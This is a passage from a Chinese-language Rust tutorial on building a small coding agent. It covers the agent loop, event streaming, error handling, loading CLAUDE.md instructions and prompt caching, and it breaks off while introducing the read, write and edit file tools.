这个顺序很重要。LLM API 要求工具结果紧跟在请求它们的 assistant 消息之后。每个 ToolResult 通过 id 字段与其 ToolCall 关联。顺序错了,provider 会拒绝请求。

推入结果后,循环继续。下一次迭代将完整历史——包括工具调用及其结果——发回给 LLM。模型看到发生了什么,决定下一步怎么做。

Rust 概念:所有权与 &mut Vec<Message>

调用者拥有消息历史,以 &mut Vec<Message> 的形式传入。这是刻意的 Rust 所有权决策——agent 在调用期间以可变方式借用历史,所有权留在调用者手中。另一种方式是让 agent 拥有 Vec,但那样调用者在调用后就无法检查历史了,多轮对话也需要把 Vec 移入移出 agent。&mut 是最简洁的方案:agent 向调用者的 vec 推入消息,调用者事后保留完全控制权。

具体来说,这样设计有三个好处:

  1. 多轮对话 —— 调用者可以推入新的 Message::User(...) 并再次调用 chat()。agent 带着完整上下文从断点继续。
  2. 检查 —— chat() 返回后,调用者可以检查完整的消息历史,查看每一次工具调用、每个结果、每个中间步骤。
  3. 持久化 —— 调用者可以将消息序列化到磁盘,用于会话保存/恢复。

run():便捷包装器

大多数时候只想发送一个提示并获得响应,这就是 run()

#![allow(unused)]
fn main() {
pub async fn run(&self, prompt: &str) -> anyhow::Result<String> {
    let mut messages = vec![Message::User(prompt.to_string())];
    self.chat(&mut messages).await
}
}

两行代码。用用户提示创建新的消息历史,委托给 chat()。调用结束后消息历史被丢弃——如果需要保留,直接使用 chat()

AgentEvent:让循环可观测

chat() 方法在 agent 完成时返回。对测试没问题,但真实的 UI 需要在循环运行时显示进度。正在调用哪个工具?运行了多久?完成了吗?

AgentEvent 枚举对这些更新进行建模:

#![allow(unused)]
fn main() {
#[derive(Debug)]
pub enum AgentEvent {
    /// LLM 流式传输的文本块(仅流式模式)。
    TextDelta(String),
    /// 正在调用一个工具。
    ToolCall { name: String, summary: String },
    /// agent 已完成并给出最终响应。
    Done(String),
    /// agent 遇到错误。
    Error(String),
}
}

四个变体覆盖生命周期:

事件时机UI 用途
TextDeltaLLM 流式传输文本块追加到终端输出
ToolCall正在调用工具显示:" [bash: ls -la]"
Doneagent 循环完成展示最终答案
Error不可恢复错误显示错误消息

注意:starter 将 ToolStart/ToolEnd 合并为单一的 ToolCall 事件。summary 字段由 src/agent.rs 中的 tool_summary() 辅助函数生成,它查找常见参数键(commandpathquestion)并格式化为类似 [bash: ls -la] 的形式。

run_with_events / run_with_history

这两个方法复现了核心循环逻辑,但通过 tokio::sync::mpsc::UnboundedSender<AgentEvent> channel 发出事件。调用者创建 channel,传入 sender,从 receiver 消费事件——通常在独立任务中驱动 UI。

#![allow(unused)]
fn main() {
pub async fn run_with_events(
    &self,
    prompt: &str,
    events: mpsc::UnboundedSender<AgentEvent>,
) {
    let messages = vec![Message::User(prompt.to_string())];
    self.run_with_history(messages, events).await;
}
}

run_with_history 的结构与 chat() 相同,但穿插了事件发送。它取得消息 vec 的所有权并返回完整历史。错误作为 AgentEvent::Error 发送,而非通过 ? 传播。

chat() 的主要区别:

  1. provider 错误match 捕获而非 ?,作为 AgentEvent::Error 发送。
  2. ToolCall 事件在每次工具调用时触发,用 tool_summary() 辅助函数生成单行描述。
  3. Done 事件在推入最终 assistant 消息之前触发,UI 能立即获取文本。

注意 let _ = events.send(...) 模式。如果 receiver 已被丢弃(UI 任务崩溃或提前退出),发送会失败。忽略这个错误,因为无论是否有人在监听,agent 都应该完成其工作。

在实践中使用事件

调用者创建无界 channel,将 sender 传给 agent,从 receiver 读取事件——通常在独立任务中:

#![allow(unused)]
fn main() {
let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();

let agent_handle = tokio::spawn(async move {
    agent.run_with_events("Fix the bug in main.rs", tx).await
});

while let Some(event) = rx.recv().await {
    match event {
        AgentEvent::ToolCall { summary, .. } => println!("{summary}"),
        AgentEvent::Done(text) => { println!("{text}"); break; }
        AgentEvent::Error(e) => { eprintln!("Error: {e}"); break; }
        _ => {}
    }
}
}

这种双任务模式是 TUI 的构建基础。UI 任务渲染事件;agent 任务运行循环。它们通过 channel 通信。

错误处理哲学

agent 有两种截然不同的错误处理策略,边界是刻意设计的。

工具错误变成结果

工具失败——执行错误、未知工具——错误变成模型看到的字符串结果,就像普通的工具结果一样。循环继续,模型读取错误并做出调整。

工具错误流程:
  LLM 请求 bash("some_command")
  -> 工具返回 Err(e)
  -> unwrap_or_else 转换为 "error: {e}"
  -> 作为 Message::ToolResult { id, content: "error: ..." } 推入
  -> LLM 看到错误,尝试不同的方法

这对健壮的 agent 至关重要。模型会犯错,工具因合理原因失败,agent 应该恢复而不是崩溃。

provider 错误向上传播

provider 失败——网络超时、认证错误、限流、响应格式错误——错误通过 ?(在 chat() 中)或 AgentEvent::Error(在 chat_with_events() 中)向上传播。循环停止。

provider 错误流程:
  agent 调用 provider.chat()
  -> provider 返回 Err(网络超时)
  -> chat() 返回 Err(网络超时)
  -> 调用者处理它(重试、显示错误等)

provider 错误不是 agent 的责任。它们需要人工或系统级干预(检查 API key、等待限流解除、修复网络)。agent 不尝试恢复。

消息历史管理

消息推入历史的顺序至关重要。一次工具使用轮次之后:

#![allow(unused)]
fn main() {
StopReason::ToolUse => {
    let results = self.execute_tools(&turn.tool_calls).await;
    messages.push(Message::Assistant(turn));    // 1. Assistant 消息(含 tool_calls)
    for (id, content) in results {
        messages.push(Message::ToolResult { id, content });  // 2. 工具结果
    }
}
}

最终的消息序列如下:

[User]        "What files are in src/?"
[Assistant]   tool_calls: [bash("ls src/")]      <- 包含工具调用
[ToolResult]  "main.rs\nlib.rs\n"                <- 通过调用 ID 关联
[Assistant]   "There are two files: ..."          <- 下一次 LLM 响应

为什么是这个顺序?

  1. API 要求:Claude API(以及 OpenAI 兼容 API)要求 tool_result 消息紧跟在生成对应 tool_useassistant 消息之后。违反此要求会导致 400 错误。

  2. ID 关联:每个 Message::ToolResult 有一个 id,与前面 assistant 消息中某个 ToolCall.id 匹配。当存在多个并行工具调用时,LLM 用它将结果与请求对应起来。

  3. 为下一轮提供上下文:LLM 需要看到自己的工具调用以理解它请求了什么,也需要看到结果以了解发生了什么。两者都必须在历史中出现,供下一次 provider.chat() 调用使用。

整合起来:完整追踪

追踪一个真实场景。用户问:"What is 2 + 3?"

agent 注册了一个 AddTool。mock provider 被配置为先返回一次工具调用,再返回最终答案。

第 0 轮:

messages: [User("What is 2 + 3?")]
  -> provider.chat() 返回:ToolUse, tool_calls: [add(a=2, b=3)]
  -> execute_tools: AddTool.call({a:2, b:3}) -> Ok("5")
  -> 推入:Assistant(tool_calls: [add(a=2, b=3)])
  -> 推入:ToolResult { id: "call_1", content: "5" }

第 1 轮:

messages: [User, Assistant, ToolResult]
  -> provider.chat() 返回:Stop, text: "The sum is 5"
  -> 推入:Assistant(text: "The sum is 5")
  -> 返回 Ok("The sum is 5")

两次 provider 调用,一次工具执行,干净退出。最终消息历史有 4 条:User、Assistant(含工具调用)、ToolResult、Assistant(含文本)。

与 Claude Code 的对比

我们的 SimpleAgent 是教学实现。Claude Code 的真实 agent 复杂得多:

功能我们的 agentClaude Code
核心循环loop { match stop_reason }相同模式,但在每个阶段都有 async 钩子
流式独立的 run_with_events集成的 SSE 流式与 StreamProvider
权限每次工具调用前都检查完整的权限流水线
最大轮次可配置的循环迭代上限
截断工具结果大小限制
压缩接近 token 限制时自动压缩
钩子工具执行前后的钩子,支持 shell 命令执行
并发顺序执行工具对安全工具并行执行
错误恢复工具错误作为结果相同,加上对短暂 provider 错误的重试逻辑

好消息是:架构是相同的。右列的每个功能都插入同一个循环结构。权限在 execute_tools 中调用 t.call() 之前检查。压缩在 token 数量较高时在循环顶部运行。钩子在工具执行前后触发。

测试

运行测试以验证实现:

cargo test -p mini-claw-code-starter test_single_turn_  # single_turn 测试
cargo test -p mini-claw-code-starter test_simple_agent_  # SimpleAgent 测试

测试验证内容

单轮测试(test_single_turn_):

  • test_single_turn_direct_response —— provider 以 StopReason::Stop 返回文本;验证 agent 直接返回该文本
  • test_single_turn_one_tool_call —— provider 先返回工具调用再返回最终答案;验证 agent 执行工具并返回最终文本
  • test_single_turn_unknown_tool —— provider 请求一个未注册的工具;验证 agent 返回错误字符串(而非 panic),循环继续

SimpleAgent 测试(test_simple_agent_):

  • test_simple_agent_text_response —— 带一个返回文本的 provider 调用 run();验证响应字符串
  • test_simple_agent_single_tool_call —— provider 编排一次工具调用后跟最终答案;验证 agent 正确循环并返回最终文本
  • test_simple_agent_unknown_tool —— provider 请求一个未注册的工具;验证 agent 返回错误字符串(而非 panic),循环继续
  • test_simple_agent_multi_step_loop —— provider 编排两次工具调用后跟最终答案;验证 agent 正确循环经过多轮工具轮次

实现清单

打开 starter 的 src/agent.rs。每个方法都有带文档注释的 unimplemented!() 桩。需要填写以下内容:

  1. SimpleAgent::new —— 用 provider 和空的 ToolSet 初始化。

  2. SimpleAgent::tool —— 将工具推入 self.tools,返回 self

  3. execute_tools —— 查找每个工具,执行,捕获错误。返回 Vec<(String, String)>

  4. chat —— 核心循环。调用 provider,匹配停止原因,调度工具,推入消息,循环。

  5. run —— 用 Message::User(prompt) 创建消息,委托给 chat

  6. run_with_history —— 与 chat 相同的循环,但通过 channel 发出 AgentEvent。将错误处理为事件而非 ?

  7. run_with_events —— 创建消息,委托给 run_with_history

newtool 开始。然后实现 execute_tools——可以通过 run 隐式测试它。接着是 chat,然后 run。把事件相关方法留到最后。

核心要点

Agentic 循环出奇地小——一个 loop,一个对 StopReasonmatch,以及一个调度工具调用的辅助函数。生产 agent 添加的每个功能(权限、流式、压缩、钩子)都插入这同一个骨架。理解了 chat(),你就理解了每一个编码 agent 的架构。

你现在拥有了什么

完成本章后,你有了可运行的编码 agent。不是完整的——还没有真实的工具(那些在后续章节中出现)——但核心循环已经完成。可以注册任何实现了 Tool trait 的工具,指向任何实现了 Provider 的 provider,agent 将自主循环直到得出答案。

这是后续一切所依赖的骨架。之后添加的每个功能——真实工具如 Bash 和 Read、权限、流式——都插入你刚刚构建的循环中。

自测


← 第 6 章:工具接口 · 目录 · 第 8 章:系统提示 →

第 8 章:系统提示词

需要编辑的文件: src/instructions.rs 运行测试: cargo test -p mini-claw-code-starter instructions(InstructionLoader) 预计用时: 25 分钟

每个基于 LLM 的 agent 都以系统提示词开头——一段不可见的前言,塑造模型产生的每一个回复。粗糙的提示词只能给你一个聊天机器人。精心设计的提示词则能给你一个遵守安全规则、正确使用工具、并能适应当前项目的编程 agent。

Claude Code 的系统提示词超过 900 行组装文本。它不是单一字符串,而是由模块化片段构建而成——身份标识、安全规则、工具 schema、环境信息、项目说明——启动时由构建器拼接在一起。某些片段在不同会话间永不改变(工具 schema、核心说明);另一些则每次都不同(工作目录、git 状态、CLAUDE.md 内容)。这种区分不是表面文章——它是prompt 缓存的基础,这项优化可以显著降低成本和延迟。

本章构建 InstructionLoader——通过向上遍历文件系统来发现项目特定 CLAUDE.md 文件的组件。我们还会讨论系统提示词架构的概念(片段、静态/动态拆分、prompt 缓存),这些是 Claude Code 等生产级 agent 所采用的方案。starter 聚焦于指令加载部分,这是最具实用价值、值得从头实现的组件。

目标

src/instructions.rs 中实现 InstructionLoader,使其满足:

  1. InstructionLoader 向上遍历文件系统,发现并加载 CLAUDE.md 文件。
  2. load() 将发现的文件连接成带有标题的单一字符串。
  3. system_prompt_section() 将加载的指令包装成可插入系统提示词的形式。

指令加载的工作原理

flowchart TD
    A[InstructionLoader::discover] -->|walks upward| B["/home/user/CLAUDE.md"]
    A -->|walks upward| C["/home/user/project/CLAUDE.md"]
    A -->|starts here| D["/home/user/project/backend/CLAUDE.md"]
    B --> E[Reverse to root-first order]
    C --> E
    D --> E
    E --> F[InstructionLoader::load]
    F -->|concatenates with headers| G[Combined instructions string]
    G --> H[system_prompt_section]
    H --> I[Ready for system prompt]

为什么系统提示词对 agent 至关重要

原始的 LLM 只是文本补全器。它根本不知道自己能运行 bash 命令、读取文件或编辑代码——除非你告诉它。系统提示词就是告诉它这些的地方。

对于编程 agent,系统提示词必须做好以下几件事:

  • 身份标识:"你是一个可以使用工具的编程 agent。"没有这条,模型可能拒绝工具调用,或表现得像通用助手。
  • 安全规则:"不要删除工作目录之外的文件。不要引入安全漏洞。"安全规则约束了模型会尝试做什么。
  • 工具 schema:所有可用工具的 JSON schema 定义。模型需要这些信息才知道如何调用工具——接受哪些参数、哪些是必填的、期望什么类型。
  • 环境信息:工作目录、操作系统、shell、git 状态。这些上下文能防止模型对环境进行猜测。
  • 项目说明:CLAUDE.md 文件的内容,告诉模型项目约定、推荐的模式以及需要避免的事项。

Claude Code 在每次对话前将所有这些内容组装成一个系统提示词。各片段按特定顺序排列,缓存边界将会变化的部分与不会变化的部分分隔开来。

概念:片段与缓存边界

先了解 Claude Code 等生产级 agent 如何组织系统提示词,再深入代码。这些概念指导设计,尽管我们的 starter 采用了更简单的方式。

Prompt 片段

生产级系统提示词由模块化片段构建——身份标识、安全规则、工具 schema、环境信息、项目说明。每个片段是命名的文本块,渲染为:

# identity
You are a coding agent. You help users with software engineering tasks
using the tools available to you.

标题帮助 LLM 解析 prompt 结构,检查组装后的 prompt 时也便于调试。

静态 vs. 动态:缓存边界

LLM API 调用代价不菲。系统提示词中的每个 token 在每次请求时都会被处理。Claude 的 prompt 缓存功能允许将 prompt 的一个前缀标记为可缓存——API 处理一次后缓存内部状态,并在后续请求中复用。对于长 prompt,这最多可将延迟降低 85%,成本降低 90%。

但缓存只对前缀有效。被缓存的前缀中有任何字节发生变化,缓存就会失效。所以需要把稳定的部分放在前面,变化的部分放在后面:

+---------------------------------------+
| Static sections (cacheable)           |
|  - Identity                           |
|  - Safety instructions                |
|  - Tool schemas                       |
|                                       |
|  [these rarely change]                |
+-------- CACHE BOUNDARY ---------------+
| Dynamic sections (per-session)        |
|  - Working directory                  |
|  - Git status                         |
|  - CLAUDE.md instructions             |
|  - Custom user instructions           |
|                                       |
|  [these change every session]         |
+---------------------------------------+

Claude Code 将这个边界称为 SYSTEM_PROMPT_DYNAMIC_BOUNDARY。边界以上的内容附带缓存控制头发送,边界以下的内容在每次请求时都是新鲜的。

生产级 agent 会实现一个 SystemPromptBuilder,维护静态和动态片段的独立列表,分别渲染两部分,并支持感知缓存的 provider。这些类型(SystemPromptBuilderPromptSection)在本章中只是概念——starter 不包含它们。starter 实现的是 src/instructions.rs 中的 InstructionLoader,这是最具实用价值、值得从头构建的组件。

InstructionLoader:发现 CLAUDE.md

Claude Code 从 CLAUDE.md 文件中加载项目特定的指令。这些文件让用户按项目自定义 agent 的行为——偏好的编码风格、测试命令、需要避免的事项。agent 从当前工作目录向上遍历文件系统来发现这些文件。

打开 src/instructions.rs,以下是 starter 的桩代码:

#![allow(unused)]
fn main() {
pub struct InstructionLoader {
    file_names: Vec<String>,
}

impl InstructionLoader {
    pub fn new(file_names: &[&str]) -> Self {
        unimplemented!("Convert file_names to Vec<String>")
    }

    pub fn default_files() -> Self {
        Self::new(&["CLAUDE.md", ".mini-claw/instructions.md"])
    }

    pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> {
        unimplemented!(
            "Walk up from start_dir, collect matching files, reverse for root-first order"
        )
    }

    pub fn load(&self, start_dir: &Path) -> Option<String> {
        unimplemented!("Discover files, read each, join with headers showing source path")
    }

    pub fn system_prompt_section(&self, start_dir: &Path) -> Option<String> {
        unimplemented!("Call load(), wrap with instruction preamble")
    }
}
}

加载器通过文件名参数化来确定搜索目标。默认配置查找 CLAUDE.md.mini-claw/instructions.md

Rust 概念:从借用切片到所有权集合

构造函数接受 &[&str]——借用的字符串切片的借用切片——并将其转换为 Vec<String>。这是 Rust 在 API 边界处的常见模式:接受借用数据以保持灵活性(调用方可以传入字符串字面量、&String 或任何解引用为 &str 的类型),但内部存储所有权数据,使结构体没有生命周期参数,可以独立于创建者存活。

实现 new()

构造函数将 &[&str] 切片转换为所有权的 String 值:

#![allow(unused)]
fn main() {
pub fn new(file_names: &[&str]) -> Self {
    Self {
        file_names: file_names.iter().map(|s| s.to_string()).collect(),
    }
}
}

discover()——向上遍历

discover() 方法从给定目录开始,向文件系统根部方向遍历,检查每个目录中是否存在目标文件:

#![allow(unused)]
fn main() {
pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> {
    let mut found = Vec::new();
    let mut dir = Some(start_dir.to_path_buf());

    while let Some(current) = dir {
        for name in &self.file_names {
            let candidate = current.join(name);
            if candidate.is_file() {
                found.push(candidate);
            }
        }
        dir = current.parent().map(|p| p.to_path_buf());
    }

    found.reverse(); // Root-first order
    found
}
}

遍历从起始目录收集文件直到根目录,然后反转列表,使根级别的文件排在前面。这个顺序很重要:全局指令出现在项目特定指令之前,LLM 最后看到的是最具体的指令(最接近用户 prompt 的位置)。

以位于 /home/user/project/backend 的项目为例:

/home/user/CLAUDE.md                  <-- 全局偏好
/home/user/project/CLAUDE.md          <-- 项目约定
/home/user/project/backend/CLAUDE.md  <-- 后端特定规则

discover() 之后,向量按该顺序包含这些文件:全局的在前,最具体的在后。

load()——读取与连接

load() 方法调用 discover(),读取每个文件,并将它们连接成单一字符串。每个文件的内容前加上 # Instructions from <path> 标题,让 LLM 知道每个块来自何处。文件之间用 --- 分隔符隔开。空文件或不可读的文件会被静默跳过。如果根本不存在任何指令文件,load() 返回 None

两个文件的输出如下所示:

# Instructions from /home/user/CLAUDE.md

Use American English. Prefer explicit error handling.

---

# Instructions from /home/user/project/CLAUDE.md

Run tests with `cargo test`. Never modify generated files.

system_prompt_section()——为 prompt 包装

system_prompt_section() 方法调用 load() 并用指令前言包装结果。这会产生一个可插入系统提示词的字符串。如果找不到指令文件,则返回 None

确切的前言应为:

#![allow(unused)]
fn main() {
format!(
    "The following project instructions were loaded automatically. \
     Follow them carefully:\n\n{content}"
)
}

测试检查输出中是否包含子字符串 "project instructions",因此前言文本必须包含这些词。

在系统提示词中使用 InstructionLoader

在生产级 agent 中,指令加载器接入 prompt 组装流水线。加载的指令始终是动态的——取决于 agent 从哪个目录启动。

InstructionLoader 构建简单系统提示词的方式:

#![allow(unused)]
fn main() {
let mut prompt = String::from("You are a coding agent.\n\n");

let loader = InstructionLoader::default_files();
if let Some(section) = loader.system_prompt_section(Path::new(cwd)) {
    prompt.push_str(&section);
}
}

更复杂的 agent 会将静态和动态片段分离以实现 prompt 缓存(参见上面的概念讨论),但这种简单方法足以让你起步。

Claude Code 的实现方式

Claude Code 的 prompt 组装遵循相同的原则,只是规模更大。它的系统提示词包括身份标识、安全规则、工具 schema、行为准则、环境详情、多层级的 CLAUDE.md 指令以及会话元数据——通常超过 900 行。

没有 prompt 缓存,每次 API 调用都要重新处理所有这些内容。Claude Code 用 SYSTEM_PROMPT_DYNAMIC_BOUNDARY 标记来标识缓存边界。provider 在此边界处拆分系统消息,将前缀附带 cache_control: { type: "ephemeral" } 发送。API 缓存前缀的内部表示,并在后续请求中复用,通常覆盖 80% 以上的 prompt。

作为扩展,你可以构建一个 SystemPromptBuilder,维护静态和动态片段的独立列表,分别渲染两部分,并让感知缓存的 provider 在边界处拆分 prompt。starter 聚焦于指令加载部分,这是最具实用价值的组件。

运行测试

运行 InstructionLoader 测试:

cargo test -p mini-claw-code-starter instructions

测试验证的内容

  • test_instructions_instruction_loader_discover:创建包含 CLAUDE.md 文件的临时目录,验证 discover() 能找到它。
  • test_instructions_instruction_loader_load:相同的设置,验证 load() 返回文件内容。
  • test_instructions_instruction_loader_no_files:不存在任何指令文件时,load() 返回 None

小结

你构建了指令加载基础设施:

  • InstructionLoader 通过向上遍历文件系统发现 CLAUDE.md 文件,以根优先的顺序连接它们,全局指令出现在项目特定指令之前。
  • system_prompt_section() 将发现的指令包装成可插入系统提示词的形式。

你还学习了生产级系统提示词架构的核心概念:

  • Prompt 片段将系统提示词分解为命名的模块化块。
  • 缓存边界将会变化的内容与不会变化的内容分隔开,从而实现 prompt 缓存——这项单一优化对于长 prompt 可以将成本和延迟降低一个数量级。每个生产级 agent 都会这样做。

作为扩展,你可以实现 PromptSectionSystemPromptBuilder 类型来从结构上管理静态/动态拆分。参考实现(mini-claw-code)展示了一种方法。

核心要点

系统提示词不是单一字符串——它是模块化片段的组合,排列方式使稳定内容在前(从而启用 prompt 缓存),会话特定内容在后。InstructionLoader 是这个组合中最简单却最面向用户的部分:让每个项目都能通过普通 Markdown 文件来自定义 agent 的行为。

下一步

第 9 章:文件工具中,实现让 agent 与文件系统交互的工具——读取、写入和编辑文件。这些工具的 schema 最终将出现在系统提示词的静态部分中。

自测


← 第 7 章:agent 循环(深度解析) · 目录 · 第 9 章:文件工具 →

第 9 章:文件工具

需要编辑的文件: src/tools/write.rssrc/tools/edit.rsTODO ch9: 桩代码)。src/tools/read.rs 早在第 2 章已完成——本章把它作为基准,对比写入和编辑两个工具的设计取舍。 运行测试: cargo test -p mini-claw-code-starter test_read_(ReadTool)、cargo test -p mini-claw-code-starter test_write_(WriteTool)、cargo test -p mini-claw-code-starter test_edit_(EditTool) 预计用时: 50 分钟

目标

  • 重新审视 ReadTool(第 2 章已构建),理解其极简设计与生产工具中行号、offset/limit 之间的权衡。
  • 实现 WriteTool,自动创建父目录,省去 agent 额外调用 mkdir 的步骤。
  • 实现带唯一性检查的 EditTool,让 agent 能对现有文件做精确的字符串替换。
  • 理解为什么 starter 中工具错误以 Err(...) 形式返回(agent 循环将其转为 LLM 可读、可恢复的消息——详细原理见第 6 章 §"为什么工具错误绝不终止 agent")。

无法触及文件系统的编程 agent,不过是个自命不凡的聊天机器人。描述代码改动、建议修复、解释算法,它都能做——但真正动手,什么都干不了。第 6 章的工具给了 agent 一双手;本章给这双手握上点东西:文件。

文件操作是任何编程 agent 工具集的根基。Claude Code 内置了读取、写入、编辑工具(以及更多),Cursor、Aider、OpenCode 各有各的版本。操作本身很简单(读字节、写字节、查找替换),但设计选择决定了 agent 能否可靠地修改代码库,还是会在自己的编辑上绊跟头。本章实现全部三个工具:ReadToolWriteToolEditTool

文件工具如何协同工作

flowchart LR
    W[WriteTool] -->|creates file| FS[(Filesystem)]
    E[EditTool] -->|search & replace| FS
    R[ReadTool] -->|reads content| FS
    W -.->|"auto-creates parent dirs"| FS
    E -.->|"checks uniqueness first"| FS
sequenceDiagram
    participant LLM
    participant Agent
    participant FS as Filesystem

    LLM->>Agent: write(path, content)
    Agent->>FS: create dirs + write file
    FS-->>Agent: ok
    Agent-->>LLM: "wrote /path/to/file"
    LLM->>Agent: edit(path, old, new)
    Agent->>FS: read, check uniqueness, replace, write
    FS-->>Agent: ok
    Agent-->>LLM: "edited /path/to/file"
    LLM->>Agent: read(path)
    Agent->>FS: read file
    FS-->>Agent: file contents
    Agent-->>LLM: file contents

6.1 ReadTool

ReadTool 是最简单的文件工具:接收路径,用 tokio::fs::read_to_string 读文件,以字符串返回原始内容。没有行号,没有 offset/limit,没有任何转换。starter 和参考实现(mini-claw-code/src/tools/read.rs)都如此——刻意保持极简,给本章剩余部分(写入、编辑)留出空间。

设计讨论:生产 agent 为何要做得更多

Claude Code 这类生产 agent 走得更远。它们的读取工具通常给每行加行号(cat -n 风格),并通过 offsetlimit 参数支持部分读取。原因有两点:

  • 行号给 LLM 一套坐标系。 "替换第 42 行的字符串"是精确的,"替换函数中间某处的字符串"不是。这对编辑工具尤为重要——模型必须给出精确的匹配字符串,行号帮它找准位置、复制正确片段。
  • offset/limit 保护上下文窗口。 一个 5 万行的生成文件可能耗尽模型的上下文配额。分页读取让 LLM 按需取用,不必把整个预算花在一个文件上。

本书的 starter 和参考实现都没有这两项特性——刻意留白,以保持核心 Tool 实现在十余行以内。想添加的话,这是本章末尾列出的扩展练习之一。

starter 桩代码

打开 src/tools/read.rs

#![allow(unused)]
fn main() {
use anyhow::Context;
use serde_json::Value;

use crate::types::*;

pub struct ReadTool {
    definition: ToolDefinition,
}

impl Default for ReadTool {
    fn default() -> Self {
        Self::new()
    }
}

impl ReadTool {
    /// Create a new ReadTool with its JSON schema definition.
    ///
    /// The schema should declare one required parameter: "path" (string).
    pub fn new() -> Self {
        unimplemented!(
            "Create a ToolDefinition with name \"read\" and a required \"path\" parameter"
        )
    }
}

#[async_trait::async_trait]
impl Tool for ReadTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, _args: Value) -> anyhow::Result<String> {
        unimplemented!(
            "Extract \"path\" from args, read file with tokio::fs::read_to_string, return contents"
        )
    }
}
}

需要填写两个方法:

  1. new():构建名为 "read"、带必填 "path" 参数的 ToolDefinition
  2. call():提取路径,读取文件,返回内容。

实现 ReadTool

定义。 一个必填参数:path。LLM 将其视为 JSON Schema,知道必须提供 path

#![allow(unused)]
fn main() {
pub fn new() -> Self {
    Self {
        definition: ToolDefinition::new("read", "Read the contents of a file.")
            .param("path", "string", "Absolute path to the file", true),
    }
}
}

call() 方法。 读取文件,以 String 返回内容:

#![allow(unused)]
fn main() {
async fn call(&self, args: Value) -> anyhow::Result<String> {
    let path = args["path"]
        .as_str()
        .context("missing 'path' argument")?;

    let content = tokio::fs::read_to_string(path)
        .await
        .with_context(|| format!("failed to read '{path}'"))?;

    Ok(content)
}
}

Rust 概念:用 anyhow::Context 丰富错误信息

.context("missing 'path' argument")?.with_context(|| format!("failed to read '{path}'")) 用人类可读的消息包装底层错误。context() 接受静态字符串;with_context() 接受闭包处理动态消息(? 路径未触发时不产生分配)。两者都返回 anyhow::Error,并将原始错误链接在下方——完整的错误消息读起来像 "failed to read 'foo.rs': No such file or directory"。这种链式错误让 anyhow 的信息足够丰富,无需自定义错误类型。

注意 call() 返回 anyhow::Result<String>,而非 ToolResult。starter 的 Tool trait 经过简化——工具成功时返回普通字符串,遇到错误(参数缺失、I/O 故障)则返回 Err(...)。agent 循环负责把错误转换为 LLM 可见的消息。

可能的扩展。 生产级 ReadTool 会添加 offsetlimit 参数支持部分读取,并以制表符分隔的行号格式化输出(类似 cat -n)。本书参考实现均未包含,两者都是范围清晰的好练习。

输出示例

给定一个包含三行的文件:

alpha
beta
gamma

工具返回原始文件内容:

alpha
beta
gamma

这是最简单的方式。生产工具在此基础上扩展行号和部分读取,对大文件和给 LLM 精确行引用都很有价值——详见上方的设计讨论。


6.2 WriteTool

写文件概念上很简单:接受路径和内容,把内容写进去。但有个实际细节影响很大:自动创建父目录。

LLM 写入 src/handlers/auth/middleware.rs 时,src/handlers/auth/ 可能还不存在。朴素的实现会报"没有这样的文件或目录"。agent 随后得调用 bash("mkdir -p ...") 再重试,浪费一次工具调用,还会让模型困惑。不如直接静默处理掉。

starter 桩代码

打开 src/tools/write.rs

#![allow(unused)]
fn main() {
use anyhow::Context;
use serde_json::Value;

use crate::types::*;

pub struct WriteTool {
    definition: ToolDefinition,
}

impl Default for WriteTool {
    fn default() -> Self {
        Self::new()
    }
}

impl WriteTool {
    /// Schema: required "path" and "content" parameters.
    pub fn new() -> Self {
        unimplemented!(
            "Use ToolDefinition::new(name, description).param(...).param(...)"
        )
    }
}

#[async_trait::async_trait]
impl Tool for WriteTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, _args: Value) -> anyhow::Result<String> {
        unimplemented!(
            "Extract path and content, create parent dirs, write file, return format!(\"wrote {path}\")"
        )
    }
}
}

实现 WriteTool

定义。 两个必填参数:pathcontent

#![allow(unused)]
fn main() {
pub fn new() -> Self {
    Self {
        definition: ToolDefinition::new("write", "Write content to a file, creating directories as needed")
            .param("path", "string", "Absolute path to write to", true)
            .param("content", "string", "Content to write", true),
    }
}
}

call() 方法。 提取参数、创建父目录、写文件,返回确认字符串:

#![allow(unused)]
fn main() {
async fn call(&self, args: Value) -> anyhow::Result<String> {
    let path = args["path"]
        .as_str()
        .context("missing 'path' argument")?;
    let content = args["content"]
        .as_str()
        .context("missing 'content' argument")?;

    // Create parent directories
    if let Some(parent) = std::path::Path::new(path).parent() {
        if !parent.as_os_str().is_empty() {
            tokio::fs::create_dir_all(parent).await?;
        }
    }

    tokio::fs::write(path, content).await?;

    Ok(format!("wrote {path}"))
}
}

返回值是 format!("wrote {path}"),一个简单的确认字符串。agent 看到它就知道写入成功了。

代码详解

两个必填参数。 pathcontent 都是必填的,没有可选行为,两者缺一不可。

自动创建目录。 create_dir_all 是关键设计。等价于 mkdir -p——目录已存在则无操作,中间目录缺失则全部创建。守卫条件 !parent.as_os_str().is_empty() 处理路径没有父组件的边缘情况(如裸文件名 "file.txt"),否则 create_dir_all("") 会报错。

覆写语义。 tokio::fs::write 文件已存在时覆写,不存在时创建,没有追加模式,没有冲突检测。这是有意为之——该工具是全量写入,不是合并。要修改现有文件,用 EditTool。

确认字符串。 返回 "wrote /path/to/file",让模型知道写入成功。


6.3 EditTool

EditTool 是三者中最有意思的,也传授了本书最重要的设计理念:错误是值,不是异常

它对文件做查找替换:接受路径、要查找的 old_string、要替换成的 new_string。关键约束:old_string 在文件中必须恰好出现一次。零次匹配意味着模型的字符串有误;多于一次意味着替换有歧义,不知道该改哪个。

这两种情况都是预期的失败模式,不是 bug。模型经常稍微搞错字符串(缺少空格、缩进不对、上次编辑后内容已过时)。工具必须清晰地报告这些失败,让模型自我纠正。

starter 桩代码

打开 src/tools/edit.rs

#![allow(unused)]
fn main() {
use anyhow::{Context, bail};
use serde_json::Value;

use crate::types::*;

pub struct EditTool {
    definition: ToolDefinition,
}

impl Default for EditTool {
    fn default() -> Self {
        Self::new()
    }
}

impl EditTool {
    /// Schema: required "path", "old_string", "new_string" parameters.
    pub fn new() -> Self {
        unimplemented!(
            "Use ToolDefinition::new(name, description).param(...).param(...).param(...)"
        )
    }
}

#[async_trait::async_trait]
impl Tool for EditTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, _args: Value) -> anyhow::Result<String> {
        unimplemented!(
            "Extract args, read file, verify old_string appears exactly once, replace, write back"
        )
    }
}
}

实现 EditTool

